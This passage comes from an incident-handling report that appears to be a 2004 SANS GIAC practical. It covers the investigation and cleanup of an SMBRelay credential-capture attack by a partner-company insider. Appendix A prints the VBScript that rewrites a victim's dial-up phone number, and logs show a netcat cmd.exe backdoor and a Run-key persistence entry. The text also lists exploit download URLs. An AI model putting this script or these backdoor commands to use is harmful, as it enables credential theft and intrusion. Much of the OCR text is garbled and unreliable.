required to cooperate with business partner's Team to investigate incidents. Law
Enforcement involvement was not supported due to the publicity reason.

5.2 Identification

Next morning the junior security administrator revised the latest viral events with the
antivirus ePolicy Orchestrator 3.02 console and recognized Trojan Exploit-SmbMiM.
He contacted the senior security administrator who was the Team member and
informed him about the recognized Trojan. The senior security administrator
relayed the information to the Chief Incident Handler, got permission from the chief
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to disconnect the workstation from the network for further investigation. The Chief
Incident Handler informed Alice and explained the entire situation. Alice gave back

the workstation \\pirate,

handed her laptop \\nb-alice to the senior security
administrator and informed the Team about suspicious problems with the remote
access to the company using dial-up .

B croicy orhestrator {0
| B Console  Window  Help | —|5’|i||
|| Action Wiew ||¢' -b||@ |
Tree I ress | Produck Mame | Product Yersion | Engine | DAT\Definition | Wirus Mame | Wirus Tvpe | File Mame | Scan Time | Action Taken | Pro |
D MEAfEe Saciry B ,2.49 MirusScan Ent, 7.1.0 4.3.20 4.0.4362 Ci\Progr... 20.05.20,.. 1059 21
: i \5.34 Wirusscan Ent, 71,0 4.3.20 4.0,4362 CHWIN,,, 20,05,20,,, 1059 z1
% ePolicy Orchest 1149 virusSean Ent, 7.1.0 4,3.20 40,4361 Tl Trojan  Ciyalls.. 20,0520, 52 21
B- Reporting 4.9 MirusScan Ent. 71,0 4.3.20 4.0.4361 20.05.20... 1 21
__| % ePO Datab. \2, 70 MirusScan Ent, 71,0 4.3.20 4.0,4362 CiiProgr... 20,05.20,,, 1059 21
=5 ﬁ ePO_P, ,5.31 MirusScan Ent, 7.1.0 4.3.20 4.0,4362 CAWIM,., 20.05.20,,. 1059 z1
: - (@] Rer L2000 WirusScan Ent, 71,0 4.3.20 4.0,4362 Ci\Progr.., 20,05.20,., 1059 Z1
B- of o B \-'?rusScan Ent. 7.1.0 4.3.20 4.0.4362 20.05.20.., 19 21
= i nnar \-'!rusScan Ent. 7.1.0 4.3.20 4.0.4362 20.05,20... 19 2l
H (&0 MirusScan Enk, 1.0 4.3.20 4.0,4362 20,05.20,., 19 21
B : L2, 14 VirusScan Ent,  7.1.0 4.3.20 4.0.4362 20.05.20.., 19 21
L2 MirusScan Enk, 1.0 4.3.20 '4.0,4362 20.05.20,,, 19 21
i L2.,, MirusScan Ent, 7.1.0 4.3.20 4.0.4362 Ci\Progr... 20.05.20,.. 1059 21
s '_ (2100 WirusScan Ent, 71,0 4,320 4.0,4362 Ci\Progr,., 20,05,20,,, 1059 z1 T‘
i it 2 MirmeSeanFob 710 47990 4n 4960 FABeaar 20 0E 90 1050 21 X
| _'l_I < [ b

The Team performed drive backups from Alice's \\pirate and laptop \\nb-alice with
the built-in Windows 2000 backup utility. Both workstations were placed in locked

room.

= Backup - [Untitled]
Job  Edit Yew Tools Help

=10l x]

Welcome  Backup | Hestorel Scheduledobsl

LClick to select the check box for any drive. folder or file that you want to back up.

= @. My Computer

H-O= A
#-[]=a C: Local Disk
- D
l DQ F: Lacal Disk

l:| M=t

-5 Docurnet:
-] 1 Inetpub
B0 Lan
-B(Z] Program Fi
(1 RECYCLE
B0 Swstemn Yo
----- v D temp
O] WINNT
----- M WUTemp
F-T128 )

A | I »

;I Mame | Comment |

22| Q Iy Computer
[ &My Documerts
[T 2. My Network Places

Backup options:

| . B ackup destination:
=P |Fie

Backup media o file name;

IJl'\backup. bkf

Mormal backup, Summary log.
Some types excluded.

i

Browse... |

The Team restored backups onto new workstations, exactly

© SANS Institute 2004,
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with the same
hardwares as Alice's \\pirate and laptop \\nb-alice. The sequence of indentification
steps was following as shown below.
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e Antivirus checking
Computers: \\pirate; \\nb-alice
Results: None

e Antivirus detection logs
Computers: \\pirate
Results: Trojan Exploit-SmbMiM detected at 7:03 PM

Lol
| B Console  Window  Help | —|5’|i||
|| Action Wiew ||¢'-b||@ |
Tree I ress | Produck Mame | Product Yersion | Engine | DAT\Definition | Wirus Mame | Wirus Tvpe | File Mame | Scan Time | Action Taken | Pro |
D MEAfEe Saciry B ,2.49 MirusScan Ent, 7.1.0 4.3.20 4.0.4362 Ci\Progr... 20.05.20,.. 1059 21
: i \5.34 Wirusscan Ent, 71,0 4.3.20 4.0,4362 CHWIN,,, 20,05,20,,, 1059 z1
% ePolicy Orchest 1149 virusSean Ent, 7.1.0 4,3.20 40,4361 MW Trojan  CiyAlls.. 20,0520, 52 21
- Reporting 4.9 MirusScan Ent. 71,0 4.3.20 4.0.4361 20.05.20... 1 21
H% ePO Datab. \2, 70 MirusScan Ent, 71,0 4.3.20 4.0,4362 CiiProgr... 20,05.20,,, 1059 21
Eﬁ ePO_P, ,5.31 MirusScan Ent, 7.1.0 4.3.20 4.0,4362 CAWIM,., 20.05.20,,. 1059 z1
: L2000 WirusScan Ent, 71,0 4.3.20 4.0,4362 Ci\Progr.., 20,05.20,., 1059 Z1
- L2, MirusScan Ent, 71,0 4.3.20 4.0.4362 20.05.20.., 19 21
L2 WirusScan Ent, 7.1.0 4.3.20 4.0.4362 20.05,20... 19 2l
(&0 MirusScan Enk, 1.0 4.3.20 4.0,4362 20,05.20,., 19 21
L2, 14 VirusScan Ent,  7.1.0 4.3.20 4.0.4362 20.05.20.., 19 21
L2 MirusScan Enk, 1.0 4.3.20 '4.0,4362 20.05.20,,, 19 21
L2.,, MirusScan Ent, 7.1.0 4.3.20 4.0.4362 Ci\Progr... 20.05.20,.. 1059 21
(2100 WirusScan Ent, 71,0 4,320 4.0,4362 Ci\Progr,., 20,05,20,,, 1059 71 A=
il WirlcSran Fob (7 10 47990 4n 4960 A Beaar 20 N5 90 Tu:a 91> bt
| | |

e OS event logs checking
Computers: \\pirate

Results: logs cleared last night at 7:15 PM by Alice's account wild\user

e ADS checking
Computers: \\pirate

Results: notepad.exe "infected" with some executables and scripts

© SANS Institute 2004, As part of GIAC practical repository.
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C:s>lads 2 ciwinntwsystemd2

LADS — Freeware wersion 3.21

(C> Copyright 1998-2003 Frank Heyne Software C(http:/swww.heysoft.ded
Thisz program lists files with alternate data streams (ADS>

Use LADS on vour own rizk?

Scanning directory c:i‘winntssystem32s with subdirectories

size ADS in file

Error 32 opening c:wwinnthsystemd2sconf ighdefaunlt: The process cannot access the
file hecause it iz being uzed by another process
Error 32 opening c:wwinntxsystemdZwconf ighdefaunlt.LOG: The process cannot access
the file bhecause it is being used by another process
Evror 32 opening c:wwinnthsystemd2Zwconf ig"SAM: The process cannot access the fil
e because it is being used by another process
Error 32 opening c:winntsystemd2ZsconfighSAM.LOG: The process cannot access the
file hecause it is heing used hy another process
Error 32 opening c:swinntssystem3d2sconfig"SECURITY: The process cannot access th
e file because it is being used by another process
Error 32 opening c:wwinnthsystemd2sconf ignSECURITY .LOG: The process cannot acces
s the file because it is being used by another process
Error 32 opening c:swinnthsystemd2sconfighsoftware: The process cannot access th
e file bhecause it iz being used by another process
Error 32 opening c:swinntssystemd2sconf ighsoftware.LOG: The process cannot acces
= the file because it iz being uszed by another process
Ervor 32 opening c:winntsystemd2Zwconfighsystem: The process cannot access the
file hecause it is heing used hy another process
Error 32 opening c:winntsystemd2Zsconf ighS¥STEM.ALT: The process cannot access
the file because it is bheing used by another process
M e:winntszystemdZ2unotepad.exe:ipszec.cnd
ciswinntssystemndZsnotepad.exeinc.exe
caxwwinntssystemdZwnotepad.exe no_ipsec.cmd
ciswinntssystemd2snotepad.exeipsloggedon.exe

The following summary might be incorrect because there was at least one error?

120832 bhytes in 4 ADS li=zted

e Dial-up client configuration
Computer: \\nb-alice
Result: incorrect dial-up client's phone number for the Company ABC

f= isp Properties

General | Options | Security | Metworking || Advanced

Connect using:

§ Modem Removed- Unavailable device {COM1)

Corfigure...

[31]

Phone number;

TERAIA Altemates

[] Use dialing rules

Show icon in notification area when connected

oK ]I Cancel
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The Team quickly clarified, that this assigned phone number belongs to their
bussiness partner Company XYZ. They found out from senior FW administrator, that
the connection had made to the Company ABC last night at 7:01 PM:

e FW event logs checking
Private source IP address: 192.168.222.14 (Mallory's VPN-1 SecureClient
client IP address)
Results: successful remote access login last night at 7:01 PM with Alice's
account wild\user

5E File Edit Wew Query Navigate Tooks Window Help == x]
e = =
Log | B Active | B audit|
= H|vix="E% &= u
EE‘ "-_°|g e e [ tae. ¥ T LWL T ¥ o | TR W ¥ corvie T Source T Destination | 7 4|
E" 147932 15Apra00d == = wvairogs-1 D I8 TACACSPls 192.168.222,254 Biesis =l
147945 15Apr2004 2 [ vairogs-1 €D I TACACSHlus 192, 168,222,254 Besis g
147946 15Apr2004 2 [ vairogs-1 €D I TAcACSHlUs 192,168.222.254 Eesis S
147950 15Apra00d = & vairogs-1 & I8 TACACSPls 192,168,222,254 Biesis =l
148233 15Aprz004 2 [ vairogs-1 D TP TACACSHIUs 192, 168,222,254 Besis g
145235 154pr2004 2 [ vairogs-1 D TP TACACSHIUs 192,168.222.254 Eesis 5
148237  15Apra00d = = vairogs-1 D I8 TACACSRlUs 192,168.222,254 Biesis gi—
148235 15Apr2004 = vairogs-1 D I TAcACSHls 192, 168,222,254 Besis =
148257 154pra00d & vairogs-1 €D TP TACACSHIUs 192.168.222.254 Eesis =
148260 15Apra00d = vairogs-1 D I8 TACACSlus 192.168.222,254 Biesis g
148261  15Apr2004 = vairogs-1 €D I TACACSHIs 192, 168,222,254 Besis =
145365  15Apr2004 = vairogs-1 @E IKE_kcp 192,168,222, 14 Wairogs a
_____ 1433585 15Apra004 [= wvairogs-1 = e ARy e e yairogs-1
N 6] 148357  154pr2004 [= vairogs-1 O 192,168,222.14 wairogs-1
% 145359  15Apr2004 = vairogs-1 @@. ISAKMP 192,1658.222.14 Vairogs a
EEJ 145394 15Apra2004 = vairogs-1 O 192,168,222, 14 wairogs-1
H | 143402  15Apr2004 [= vairogs-1 = 192, 168.222.14 wairogs-1
= ' 145403  15Apr2004 [= vairogs-1 @@. tunnel_test 192.1658.222.14 Wairogs o
— 143405  154pr2004 = wvairogs-1 ‘@Jﬂ’. turinel_kest 192,166,222, 14 Vairogs a
148407  15Apr2004 (=  vairogs-1 @m FiW'1_topo 192,168.222.14 Vairogs a
145414  15Apr2004 = vairogs-1 ‘@J@ domain-udp 192,165,222.14 Prowxy 1
1453417 158pr2004 t [= vairogs-1 @.R Q135 192, 166.222.14 e-pasts 1
..... | |4 I I _’J_:_I
LLI L Ready {Total records in file; 518935
Ready Readerly [ [T 4

They immediately contacted the XYZ IT security staff and asked help to investigate
the incident. Company's XYZ FW logs showed that last night at 7:01 PM connection
had been made from Mallory's workstation to the ABC external FW address... All
evidences of the incident was provided to Mallory with the cooperation with
Company's XYZ security staff. He surrended and revealed the collected hashes.txt
files, the e-mail message to alice.cooper@hotmail.com and the password cracking
tools after three days of hacking. All password files were sent to the ABC Team.

5.3 Containment

The Team started Outlook 2000 under Alice's account, combed out Alice's latest e-
mail messages and found out one from alice.cooper@hotmail.com with a zipped
VBScript file attachment described in Appendix A. The Team finally understood how
Alice's password had been captured. They discovered many e-mail messages from
alice.cooper@hotmail.com and invitations to connect with the net use command.

They looked at the password hashes.txt files and discovered, that the SSH server
and the external Web server administrator's challenges/responses were captured by
Mallory. The external Web server and SSH server administrators accounts were
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under the sword of Damocles. In order to continue any further incident investigation,
the Team required Jump Kit. The following items were included in the Jump Kkit:

Compaq Evo610c laptop with ( Windows 2000 Server&SP4 and Resource Kit)
CD-RW External USB Drive

Blank CD's

Blank floppies

Ghost 7.5 on floppy

Ethereal
ScanLine
Nbtscan

Enum
Lsadump?2
pwdump3
Psloggedon
Lads

Fport

Fpipe

Netcat

John the Ripper
Brutus
Cain&Abel
DameWare Mini Remote Control

Markers

Digital camera

Pencils

Local phone number list

The Team disconnected the external Web server and SSH server from the network
immediately. Then they booted both servers with Ghost 7.5 from the floppy,
executed the Ghost from the command line and performed a disk drive imaging
process to CD's.
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Limpsl dries (10, 4094 HE
EhariCand fengion tdompaal K

11 Togae? ENTFE

= HOEE

Using the same Ghost 7.5 diskette, they copied CD's content to a new drive into their
Jump Kit laptop. They proceeded to login under Bob's and Carol's administrator's
accounts. After SSH server and Windows application log analysis they discovered

SSH server configuration changes.

EL winSSHD Event Log P [m]

| Ewvent Log

(gel] | Ervent | Cornputer | Drescripkion |i|
n3SHD 4097 WICTIM Win3SHD: WindowsSessionServer 1 Far user wildiuser Fra. .,
n3SHD 4097 WICTIM Win3SHD: Logon aktkernpt 1 Far user wildiuser fram 172.1...
nSSHD 4097 VICTIM WinSSHD: Client wersion string 55H-2.0-PUTTY-Release-0...
nSSHD 4097 VICTIM WinSSHD: Conneckion Fram 172.1,1.1:4747 accepted

nSSHD 4097 WICTIM WinSSHD: (Purporked) user wildiuser From 172.1.1.1:474..,
nSSHD 4097 WICTIM WinSSHD: Logon atkempt 1 For user wildiuser fram 172.1...
nSSHD 4097 VICTIM WinSSHD: Client wersion string 55H-2.0-PUTTY-Release-0...
nSSHD 4097 VICTIM WinSSHD: Conneckion Fram 172.1,1.1:4746 accepted

nSSHD 4097 WICTIM WinS3SHD: Configuration re-read succeeded: new canfigu. ..
nSSHD 4097 WICTIM WinSSHD: Configuration changed. Applying ness configur,.. =
4 O

¥ show Errors
¥ Show Warnings

¥ Show Infarmation

[ Show only WinSSHD

Refresh |

Clear

Ll ier e e=digis ST S0y 2 U LHEUUL; oy I ger U Pdsswurl usssss, o) AI
access conkrol template: permit remote adminiskration: ves, map remote home

directory: no

permit kerminal shell: ves, terminal shell:

dir: c:iwinntisyskem3z2, permit exec request; yves, permit file transfer: ves, file
transfer rook dirs 11, permit C235 port Forwarding: ves, permit S2C port Forwarding:

(=]

¥
arcess conkrol accounts:

iC-L -p 22 -& cmd, exeE e E I EWNE]
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Event Properties 2
Ewent
Drate: 41156/2004  Source:  WinSSHD +
Time: 1306 Category: Mone
Type: Information  Ewent 1D: 4097 +
User: 3
Computer: WICTIM

Drezcription:

rfinS SHD: WindowsS essionServer 1 for uzer wildwuzer fram
1721.1.1:4747
Executing command toterm cmd:ne -L -p 22 -2 cmd.exe’.

Using the process control tool Fport v2.0, they discovered a Netcat presence
listening on TCP 22 port.

[]select CWINNT  system32icmd.exe

Microsoft Windows 2008 [Version 5.860.21951
(C>» Copyright 1985-2000 Microsoft Corp.

C:s>fport

FPort v2.8 — TCPAIF Process to Port Mapper
Copyright 2088 by Foundstone, Inc.
http:/#wmm . foundstone.com

Process 3 Proto Path
? TCP C:MHINMT~\System32\tcpsucs . exe
SNHINNTSSystemd2stocpsves .exe
NWINNTSSystemd2htocpsves .exe
SNWINNTSSystem32\tecpsves .exe
HIMNT~System3d2\tcpsves .exe
JINNT ~zystemi2~inetsrusinetinfo.exe

winsshd \Pl-ugl-am Files“Bitvise WinSS8HD“winsshd.ex

wins SWIMNT~System32swins .exe
RFC16806d :SNProgram Files“Common Files“IS0QCOR~RFC188

portmap NISMA2 28 binsportmap.exe
sychost SWINNTwzustem32ssuchost.exe

In a similar way on the external Web server the Team discovered a stopped W3SVC
service, launched the port redirection tool fpipe listening on TCP 80 port. On some
WLAN user's computers the Team identified a new registry value and the
corresponding script presence on systemroot:

HKLM\Software\Microsoft\Windows\Currentversion\Run /v Mapping /t
REG_MULTI_SZ /d "C:\Windows\system32\script.cmd"

5.4 Eradication

The Team separated Entrust/Direct Sever Proxy from the Web server, placed the
Web server in a server farm and defined a firewall rule between Entrust/Direct Sever
Proxy and Web server hosts. All the system and firewall administrators as well as
Alice's passwords were changed. The "infected" c:\winnt\system32\notepad.exe file
was removed and replaced with the original version on \\pirate. The external Web
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server, SSH server, Entrust/Direct Server Proxy and domain controllers were
checked against malicious software, such as fpipe, Netcat, SMBRelay, using the tool
lads.exe, and if ADSs were detected, directories were removed and replaced with
the original one's from weekly backups. Vulnerability scanner Nessus 4.2.1 for Linux
and Nessus Console for Windows NT/2000/XP 1.4.4 were also applied to these

Servers.

i Scan Status - Nessus Console

Finizhed

=10l x|

— Owerall zcan progress

(RN EEEEEEEEEEEEEEEEEERERRRRRRRRRRRERERRRERREREN
Target list:

Huoszt | F'ortscan| All kests | Haoles | Warni...| Infoz | Ports | Status |_
entrtest 100% 100% 3 46 0 k1| Finizhed
I Bemove finished hosts from the list Close

The new registry value and the corresponding script were removed from some
WLAN computers. Control was started over McAfee Framework, Network Associates
McShield and Network Associates Task Manager services on all aforementioned

Servers.
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WINNT  system32hcmd.exe
C:vnrsclist ssA2—avayatest

Alerter Alerter
ALG Application Laver Gateway Seru

AppMgmt Application Management
AudioSru Windows Audio
BITS Background Intelligent Trancsfe

1 Service

FUnning Browzer Computer Browsep
cisuc Indexing Sewvvice
ClipSru ClipBook
COMSysApp COM+ System Application
CruptSuc Cryptographic Services

DecomLaunch DCOM Server Procesz Launchep
Dhop DHCP Client
dmadmin Logical Disk Manager Administr

dnzepruver Logical Disk Manager

Dnscache DME Client

ELIService Entrust Login Interface

ERSvc Error Reporting Service
Eventlog Event Log

EventSystem COM+ Event System
FastlserSwitchingCompatibility Faszt User Switching Compatibil

helpsuc Help and Support

HidSeru Human Interface Device Access
HTTPFilter HITP SSL

ImapifService IMAPI CD—Burning COM Service
lanmanserver Seruer

lanmanworkstation Workstation

LmHosts TCP/IP MetBIOS Helper

unning McAfeeFramework MchAfee Framework Service
Punning McEhield Metwork Associates McShield
unning McTazkManager Metwork Associates Task Manage

Machine Debug Manager

The Team began to protect the rasphone.pbk file integrity of dial-up users
workstation with free file integrity checking tool FileCheckMD5.exe.

135 FileCheckMD5 ==l =]

Make checkfile | Check files | About |

Select folder to be recursively scanned by clicking the button below:

E:ADocuments and Settingshivarss'\applization DatahMicrozoftsMetwark A Connectionzh Phl I

ol

File: rasphone.pbk _-_J
Operation complete. Check file sawved to E:ZDocuments and Setcting:

‘ | o

FileCheckMDE version 0.21.10
22004 Brandon Staggs. Free for any uze but may not be zold. THIS Sbirt
SOFTWARE PROVIDED “AS 15" AND W THOUT WaARRANTY.
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5.5 Recovery
There were a few things left to do now to secure the network and the services:
Step 1: Remote access clients, workstations and policy

e Remove Alice's domain account from the local administrator's group on \\nb-
alice and \\pirate and place in the Users group. This prevents users access to
the network configuration and start/stop services;

e Call all dial-up users and instruct them to check Company' ABC phone
number in pasphone.pbk file, inform the Team if the phone number change
has occurred;

e Change LM authentication level from 1 to 3 on the \\pirate registry and restart:

HKLM\System\CurrentControlSet\Control\Lsa\LMComapatibilityLevel=3

Explanation: There are not kwown any publicly available password cracking
tools working with LMv2/NTLMv2 challenges/responses.

e Change the client remote access policy for MS IAS/RADIUS to support
Windows users and computers group membership.

Dial-up with RADIUS Properties 2] x|
Settings |
Pualicy name: Dial-up with RADILIS

Specify the conditions to match:

Wwindows-Groups matches "SwILDADial-up ugers \wILDADial-up clients"

Bemove Edit... |

— If & user matches the conditions
{* Grant remote access permission
™ Deny remate access pemission

Accezs will be granted with the profile you specify, unlezs access
iz overidden on a per-uzer bazis.

Edit Profile. .. |

(] | Cancel Apply

Step 2: External IIS 5.0 Web server

Start World Wide Web Publishing service.
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Step 3: WIinSSHD 3.07 server
Replace SSH server settings with correct Terminal Shell value.
Step 4. Administrative measure

Security staff sent an e-mail notification message not to open any suspicious
e-mail messages and attachments.

5.6 Lessons learned

After some days of intensive analysis, the Team discovered why/how the system's
exploit occurred:
e E-mail policy hadn't enforced to delete password protected .zip file
attachments in icoming e-mail messages;
Action: E-mail attachments policy will change to strip password protected .zip
attachments from all e-mail;
e The users had local administrator's privileges on their workstations;
Action: Revise business requirements, remove users domain accounts from
local administrator's group in workstations and place in Users group;
e Weak remote access policy. The policy was based on Windows users group
membership.
Action: Change the the client remote access policy for MS IAS/RADIUS to
support Windows users and computers group membership.
Note: Tacacs+ don't support Windows computers group membership.
e Dial-up client Network configuration integrity violated;
Action: Install and check dial-up user's workstations rasphone.pbk file integrity
with the free file integrity checking tool FileCheckMD5.exe on a regular basis;

W5 FileCheckMDS =10l ]

Make checkfie Check files | abaut |

Open Checkfile... |

Testing MDE sums in E:\Documents and Settings'\iwvarsshApplication I;l
OF: E:\Dncuﬁents and Settingshivarssi\Application Data'MicrosoftiMe
Operation complete.

1l file=s tested.
EVERY FILE APPEARS OQE!

< | _'I_I
FileCheckiD5 version 0.2.1.10

22004 Brandan Staggs. Free far any uze but may nat be zold. THIS Sebnrt

SOFTWARE PROVIDED “a5 15" AND WITHOUT WARRAMNTY.
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e Non-existent automatic process control mechanism on servers and
workstations;
Action: Recommend to the software developer team to create automatic
process control software;

e Non-existent IDS Server Sensors on External Web and SSH servers;
Action: The security staff will recommend purchasing 3 IDS Server Sensors
from ISS.

e Specific recommendations in order to further harden SMB, NTLMSSP and
Netlogon communications susceptible to MiTM attacks:

= Revise the necessity of NetBT protocol on Windows 2000
workstions and servers:

HKLM\System\CurrentControlSet\Services\NetBT\Parameters\
EnableLMHOSTS=0

Disable the Server service, if a computer is only used as a
workstation. Block connection to the TCP 139 port using Windows
ICF for Windows XP.

= Secure SMB communications. Provide SMB packet integrity with
HMAC-MD5:

HKLM\System\CurrentControlSet\Services\LanmanServer\
Parameters\RequireSecuritySignature=1,
HKLM\System\CurrentControlSet\Services\LanmanWorkstation\
Parameters\RequireSecuritySignature=1

= Secure NTLMSSP communications. Provide MSRPC packet
integrity and 128-bit encryption for NTLMv2 authentication
[7.13]:

HKLM\System\CurrentControlSet\Control\Lsa\MSV1_0\
NtimMinServerSec=20080010;
HKLM\System\CurrentControlSet\Control\Lsa\MSV1_0\
NtimMinClientSec=20080010

= Secure NetLogon communications. NetLogon communications
in the domain are secured with a strong 128-bit session key
using the computer password:

HKLM\System\CurrentControlSet\Services\NetLogon\Parameters\
RequireSignOrSeal=1;
HKLM\System\CurrentControlSet\Services\NetLogon\Parameters\
SignSecureChannel=1;
HKLM\System\CurrentControlSet\Services\NetLogon\Parameters\
RequireStrongkeyl=1
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= Revise LM authentication level on workstations and servers
[7.13]:

HKLM\System\CurrentControlSet\Control\Lsa\
LMComapatibilityLevel=3 for worksations and member servers;
HKLM\System\CurrentControlSet\Control\Lsa\
LMComapatibilityLevel=5 for domain controllers

e The security staff had plans to host monthly "security awareness"” seminars
for individual business units.
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6. Exploit references

1. SMBRelay

URL: http://www.phreak.org/archives/exploits/microsoft/smbrelay.exe
2. SMBRelay and SMBRelay2

URL: http://www.xfocus.net/articles/200305/smbrelay.html

3. SMBRelay source

URL: http://packetstormsecurity.org/UNIX/misc/smbrelay.cpp

4. Backdoor.SMBRelay

URL: http://securityresponse.symantec.com/avcenter/venc/data
/backdoor.smbrelay.html

7. General references

1. Tech Note N0.98, "Configuring Lana Numbers in NT 4.0 and Windows 2000".

URL.: http://www.niakwa.com/support/tn/tn98.htm

2. S.French, "SMB: The Server Message Block Protocol".

URL.: http://ubigx.org/cifs/SMB.htmI#SMB.6

3. MS KB article Q230476, "Description of Common Kerberos-Related Errors in
Windows 2000".

4. B.Schneier, P.Mudge, "Cryptanalysis of Microsoft's Point-to-Point Tunneling
Protocol (PPTP)", Counterpane Systems, Aug 1998.

5. J.Eisinger, "Exploiting known security hole on Microsoft's PPTP
Authentication Extensions (MS-CHAPv2)", University of Freiburg, 23 Jul 2001.

URL.: http://mopo.informatik.uni-freiburg.de/pptp_mschapv2/pptp_mschapv2.html

6. E.Glass, "The NTLM Authentication Protocol".

URL: http://curl.haxx.se/rfc/ntim.html

7. C.Adams, "The Simple Public-Key GSS-API Mechanism (SPKM)" RFC 2025,
Oct 1996.

8. B.Schneier, P.Mudge, "Cryptanalysis of Microsoft's PPTP Authentication
Extensions (MS-CHAPv2)", Counterpane Systems, Jun 1999.

9. C.Rigney, A.Rubens, W.Simpson, S.Willens, "Remote Authentication Dial In
User Service (RADIUS)" RFC 2138, Apr 1997.

10.D.Carell, L.Grant, "The TACACS+ Protocol Version 1.78" , Internet-Draft, Jan
1997.

11.Internet NG Project.

URL: http://ing.ctit.utwente.nl/WU5/D5.1/Technology/tacacs+

12. J.Scambray, S.McClure, "Hacking Exposed Windows 2000: Network Security
Secrets & Solutions", Osborn/McGraw-Hill, 2001.

13. MS KB article: Q239869 " How to enable NTLM 2 authentication”

URL.: http://support.microsoft.com/default.aspx?scid=KB;en-us;q239869
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8. Appendix A

Set WshShell = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObiject")

root_in ="C:\Documents and Settings\" &
WshShell.ExpandEnvironmentStrings("%username%") & "\Application
Data\Microsoft\Network\Connections\Pbk\"

root_out = "C:\Documents and Settings\" &
WshShell.ExpandEnvironmentStrings("%username%") & "\Application
Data\Microsoft\Network\Connections\Pbk\"

hosts = "rasphone.pbk"
If (fso.FileExists(root_in & hosts))then

Set f = fso.OpenTextFile(root_in & hosts, 1)
s = f.ReadAll "read in entire file
f.Close

s2=""

's2 = Replace(s, "PhoneNumber=7123456", "PhoneNumber=7654321") ' execute

replace
'If s = s2 Then 'not exists
pos = InStr(1, s, vbCrLf & "PhoneNumber=")

If pos =0 Then
s2 = s2 & "PhoneNumber=7654321" & vbCrLf
Else

posl = InStr(pos + 3, s, vbCrLf)
If posl =0 Then
s2 = Mid(s, 1, pos + 1) & "PhoneNumber=7654321" & vbCrLf
Else
s2 = Mid(s, 1, pos + 1) & "PhoneNumber=7654321" & Mid(s, posl)
End If

End If

End If

Set f = fso.OpenTextFile(root_out & hosts, 2, True)

f.Write s2

f.Close
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9. Abbreviations

AAA — Authentication, Authorization and Accounting
ACS - Access Control Server (RADIUS or Tacacs+)
AD — Microsoft Active Directory

ADS - Alternate Data Stream

AP — Access Point

DES — Data Encryption Standard (FIPS 46-1)

EAP — Extensible Authentication Protocol

IAS — Internet Authentication Service

ICF — Internet Connection Firewall

IDS — Intrusion Detection System

IKE — Internet Key Exchange

LANA — LAN Adapter

MD — Message Digest

MiTM — Man-in-The-Middle atttack

MS - Microsoft

MS-CHAP — Microsoft Challenge Handshake Protocol
NAS — Network Access Server

NetBT — NetBios over Tcp

LM — Lan Manager

NTLM — NT Lan Manager

NTLMSSP — NTLM Security Service Provider
RADIUS — Remote Access Dial In User Service

RRAS — Microsoft Routing and Remote Access Server
SMB — Server Message Block protocol

SPN — Service Principal Name

STA — wireless STAtion

Tacacs+ - Terminal access controller access control system
TGS — Ticket Granting Service in Kerberos Key Distribution Center
WEP — Wired Equivalent Privacy

W3SVC — World Wide Web publishing SerViCe
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